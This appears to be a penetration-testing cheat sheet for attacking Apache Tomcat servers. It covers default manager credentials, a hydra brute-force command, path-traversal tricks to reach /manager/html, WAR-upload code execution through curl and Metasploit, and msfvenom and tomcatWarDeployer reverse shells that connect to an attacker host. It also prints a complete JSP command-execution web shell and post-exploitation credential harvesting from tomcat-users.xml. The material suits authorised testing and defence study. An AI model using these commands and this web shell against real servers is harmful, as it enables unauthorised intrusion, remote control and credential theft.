Tomcat

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It usually runs on port 8080
Avoid to run with root
In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
Username Enum
In some versions prior to Tomcat6 you could enumerate users:
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msf> use auxiliary/scanner/http/tomcat_enum
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Default credentials
The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat
You could test these and more using:
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msf> use auxiliary/scanner/http/tomcat_mgr_login
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Another interesting Tomcat path is /manager/status, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access /manager/html.
Bruteforce
This could be needed.
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hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
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Vulns
Password backtrace disclosure
Try to access /auth.jsp and if you are very lucky it might disclose the password in a backtrace.
Double URL encode
A well-known vulnerability to access the application manager __ is mod_jk in CVE-2007-1860, that allows Double URL encode path traversal.
In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html
Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.
To access to backdoor you might also need to use the double urlencode trick.
/examples
The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from here).
/examples/jsp/num/numguess.jsp
/examples/jsp/dates/date.jsp
/examples/jsp/snp/snoop.jsp
/examples/jsp/error/error.html
/examples/jsp/sessions/carts.html
/examples/jsp/checkbox/check.html
/examples/jsp/colors/colors.html
/examples/jsp/cal/login.html
/examples/jsp/include/include.jsp
/examples/jsp/forward/forward.jsp
/examples/jsp/plugin/plugin.jsp
/examples/jsp/jsptoserv/jsptoservlet.jsp
/examples/jsp/simpletag/foo.jsp
/examples/jsp/mail/sendmail.jsp
/examples/servlet/HelloWorldExample
/examples/servlet/RequestInfoExample
/examples/servlet/RequestHeaderExample
/examples/servlet/RequestParamExample
/examples/servlet/CookieExample
/examples/servlet/JndiServlet
/examples/servlet/SessionExample
/tomcat-docs/appdev/sample/web/hello.jsp
Path Traversal (..;/)
In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/
So, for example, you might be able to access the Tomcat manager page by accessing: www.vulnerable.com/lalala/..;/manager/html
Another way to bypass protected paths using this trick is to access http://www.vulnerable.com/;param=value/manager/html
RCE
Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).
Limitations
You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).
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# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
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​
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# deploy under "path" context path
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curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
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​
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# undeploy
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curl "http://tomcat:[email protected]:8080/manager/text/undeploy?path=/monshell"
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Metasploit
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use exploit/multi/http/tomcat_mgr_upload
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msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
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msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
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msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
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msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
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msf exploit(multi/http/tomcat_mgr_upload) > exploit
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MSFVenom Reverse Shell
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
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Then, upload the revshell.war file and access to it (/revshell/)
Bind and reverse shell with tomcatWarDeployer.py​
In some scenarios this doesn't work (for example old versions of sun)
Download
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git clone https://github.com/mgeeky/tomcatWarDeployer.git
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Reverse shell
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./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
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Bind shell
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./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
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Using Culsterd​
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clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
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Manual method - Web shell
Create index.jsp with this content:
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<FORM METHOD=GET ACTION='index.jsp'>
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<INPUT name='cmd' type=text>
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<INPUT type=submit value='Run'>
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</FORM>
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<%@ page import="java.io.*" %>
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<%
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   String cmd = request.getParameter("cmd");
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   String output = "";
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   if(cmd != null) {
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      String s = null;
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      try {
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         Process p = Runtime.getRuntime().exec(cmd,null,null);
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         BufferedReader sI = new BufferedReader(new
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InputStreamReader(p.getInputStream()));
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         while((s = sI.readLine()) != null) { output += s+"</br>"; }
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      }  catch(IOException e) {   e.printStackTrace();   }
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   }
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%>
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<pre><%=output %></pre>
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$ mkdir webshell
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$ cp index.jsp webshell
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$ cd webshell
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$ jar -cvf ../webshell.war *
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webshell.war is created
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You could also install this (allows upload, download and command execution): http://vonloesch.de/filebrowser.html​
POST
Name of Tomcat credentials file is tomcat-users.xml
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find / -name tomcat-users.xml 2>/dev/null
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Other ways to gather Tomcat credentials:
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msf> use post/multi/gather/tomcat_gather
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msf> use post/windows/gather/enum_tomcat
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